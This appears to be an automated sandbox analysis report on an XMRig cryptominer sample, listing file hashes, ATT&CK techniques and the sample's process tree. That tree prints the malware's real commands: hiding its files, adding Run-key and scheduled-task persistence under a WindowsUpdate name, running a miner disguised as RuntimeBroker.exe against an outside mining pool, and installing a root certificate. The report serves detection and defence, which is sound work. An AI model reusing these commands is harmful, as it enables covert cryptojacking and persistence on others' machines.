xmrig | fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe
Size 16.8MB
Sample260925-ththnsfe28
SHA256 fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4
MD5 4162ceedb9d8714c270eefce6b808cc0
SHA1 73e3bc25863fb4f0c6b835319db04630e9dfb712
SHA512 c5bf54c77f988acaee705ff8ddecae5426382742519a5c9632e8c1b9b8f2a4bfded7458099e4a2a9f7935e62d35f1210eddceb2ecaf46c30d47a50242402b1dd
SSDEEP 196608:yNtJUiM0r9wzksdY0gQn8qY3UpfKJFqiej:y7JUm9wndsQnjY3GUFqi
TLSH
T165078C43E8B605D9C1AE9276C66796237B743C894B3163C36B60B6342F77BD0AE79700
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence spyware trojan

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000d00000001c461-6.dat	family_xmrig
behavioral2/files/0x000d00000001c461-6.dat	xmrig

Executes a file named after a Windows system binary 1 TTPs 1 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe	RuntimeBroker.exe

Executes dropped EXE 5 IoCs

pid	Process
3280	RuntimeBroker.exe
1472	BootStrap.exe
704	WindowsUpdate.exe
1108	WindowsUpdate.exe
1640	RuntimeBroker.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
6	raw.githubusercontent.com

Detect suspicious telegram bot 1 IoCs

Detect suspicious telegram bot.

resource	yara_rule
behavioral2/files/0x000d00000001c460-10.dat	suspicious_telegram_bot

Hide Artifacts: Hidden Files and Directories 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4152	cmd.exe
4100	cmd.exe
4276	cmd.exe
2360	cmd.exe
1832	cmd.exe
1296	cmd.exe
4108	cmd.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4416	cmd.exe
2912	cmd.exe
4596	cmd.exe
1664	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c61900000001000000100000002fe1f70bb05d7c92335bc5e05b984da6030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f6314000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c00000001000000040000000010000014000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e81900000001000000100000002fe1f70bb05d7c92335bc5e05b984da66b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 11 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	BootStrap.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4168	schtasks.exe
4592	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1472	BootStrap.exe
1472	BootStrap.exe
1472	BootStrap.exe
1472	BootStrap.exe
1472	BootStrap.exe
1472	BootStrap.exe
1472	BootStrap.exe
1472	BootStrap.exe
1472	BootStrap.exe
1472	BootStrap.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3280	RuntimeBroker.exe
Token: SeLockMemoryPrivilege	3280	RuntimeBroker.exe
Token: SeLockMemoryPrivilege	1640	RuntimeBroker.exe
Token: SeLockMemoryPrivilege	1640	RuntimeBroker.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3280	RuntimeBroker.exe
1640	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 4476 wrote to memory of 1836	4476	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	89
PID 1836 wrote to memory of 1296	1836	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	90
PID 1296 wrote to memory of 5876	1296	cmd.exe	92
PID 1836 wrote to memory of 4108	1836	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	93
PID 4108 wrote to memory of 4916	4108	cmd.exe	95
PID 1836 wrote to memory of 4152	1836	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	96
PID 4152 wrote to memory of 5548	4152	cmd.exe	98
PID 1836 wrote to memory of 4100	1836	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	99
PID 4100 wrote to memory of 4944	4100	cmd.exe	101
PID 1836 wrote to memory of 4276	1836	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	102
PID 4276 wrote to memory of 3300	4276	cmd.exe	104
PID 1836 wrote to memory of 2912	1836	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	105
PID 2912 wrote to memory of 3076	2912	cmd.exe	107
PID 1836 wrote to memory of 4416	1836	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	108
PID 4416 wrote to memory of 5976	4416	cmd.exe	110
PID 1836 wrote to memory of 1664	1836	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	111
PID 1664 wrote to memory of 4592	1664	cmd.exe	113
PID 1836 wrote to memory of 4596	1836	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	114
PID 4596 wrote to memory of 4168	4596	cmd.exe	116
PID 4476 wrote to memory of 3280	4476	fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe	117
PID 1472 wrote to memory of 704	1472	BootStrap.exe	122
PID 704 wrote to memory of 1108	704	WindowsUpdate.exe	123
PID 704 wrote to memory of 1640	704	WindowsUpdate.exe	124
PID 1108 wrote to memory of 2360	1108	WindowsUpdate.exe	126
PID 2360 wrote to memory of 3736	2360	cmd.exe	128
PID 1108 wrote to memory of 1832	1108	WindowsUpdate.exe	129
PID 1832 wrote to memory of 4632	1832	cmd.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5548	attrib.exe
4944	attrib.exe
3300	attrib.exe
3736	attrib.exe
4632	attrib.exe
5876	attrib.exe
4916	attrib.exe

C:\Users\Admin\AppData\Local\Temp\fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe
"C:\Users\Admin\AppData\Local\Temp\fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe"
1⤵
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4476
- C:\Users\Admin\AppData\Local\Temp\fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe
  C:\Users\Admin\AppData\Local\Temp\fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe --persist-worker
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1296
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\"
      4⤵
      Views/modifies file attributes
      PID:5876
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4108
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\"
      4⤵
      Views/modifies file attributes
      PID:4916
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\"
      4⤵
      Views/modifies file attributes
      PID:5548
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4100
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\"
      4⤵
      Views/modifies file attributes
      PID:4944
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4276
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\"
      4⤵
      Views/modifies file attributes
      PID:3300
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v WindowsUpdate /t REG_SZ /d \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2912
  - - C:\Windows\system32\reg.exe
      reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v WindowsUpdate /t REG_SZ /d \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\" /f
      4⤵
      PID:3076
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\" /v WindowsUpdate /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4416
  - - C:\Windows\system32\reg.exe
      reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\" /v WindowsUpdate /f
      4⤵
      PID:5976
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "schtasks /create /tn \"WindowsUpdate\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc onlogon /rl limited /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn \"WindowsUpdate\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc onlogon /rl limited /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4592
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "schtasks /create /tn \"WindowsUpdateHb\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc minute /mo 10 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4596
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn \"WindowsUpdateHb\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc minute /mo 10 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4168
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
  2⤵
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3280

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1472
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:704
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\""
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:2360
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\"
        5⤵
        Views/modifies file attributes
        
        PID:3736
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\""
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:1832
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\"
        5⤵
        Views/modifies file attributes
        
        PID:4632
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:1640

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BootStrap.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe
Size 16.8MB
SHA256 fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4
MD5 4162ceedb9d8714c270eefce6b808cc0
SHA1 73e3bc25863fb4f0c6b835319db04630e9dfb712
SHA512 c5bf54c77f988acaee705ff8ddecae5426382742519a5c9632e8c1b9b8f2a4bfded7458099e4a2a9f7935e62d35f1210eddceb2ecaf46c30d47a50242402b1dd
SSDEEP 196608:yNtJUiM0r9wzksdY0gQn8qY3UpfKJFqiej:y7JUm9wndsQnjY3GUFqi
TLSH
T165078C43E8B605D9C1AE9276C66796237B743C894B3163C36B60B6342F77BD0AE79700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RuntimeBroker.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe
Size 6.1MB
SHA256 ca28f4aeaa5e16d216cd828b67454a56f3c7feeb242412d26ed914fadff20d40
MD5 5fba8ae226b096da3b31de0e17496735
SHA1 d532a01254cf9e0229d3c5803b78ff7c9b0cb8d3
SHA512 951e44fc0864a6741bcbb4227feb5429a032713dabd91102f4f0e27a69181ce7f23562e902cc09896ae26334b6d18caf0f5a13d81370bd703fd7ed6f78b47e72
SSDEEP 98304:iONmXliGgyduIy7bWynX75rfdRZqOXmvFubCY9yxl5TtX8Ao0Ezae6B:GXlivZqOXmtubmxl5ppvEzT6
TLSH
T15F569D5AB7A400E8C87AC93CC6479613E7B1B8165370A7DB17B4676A0F33AD51E3EB10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3280-8-0x0000018B17FD0000-0x0000018B17FF0000-memory.dmp

Download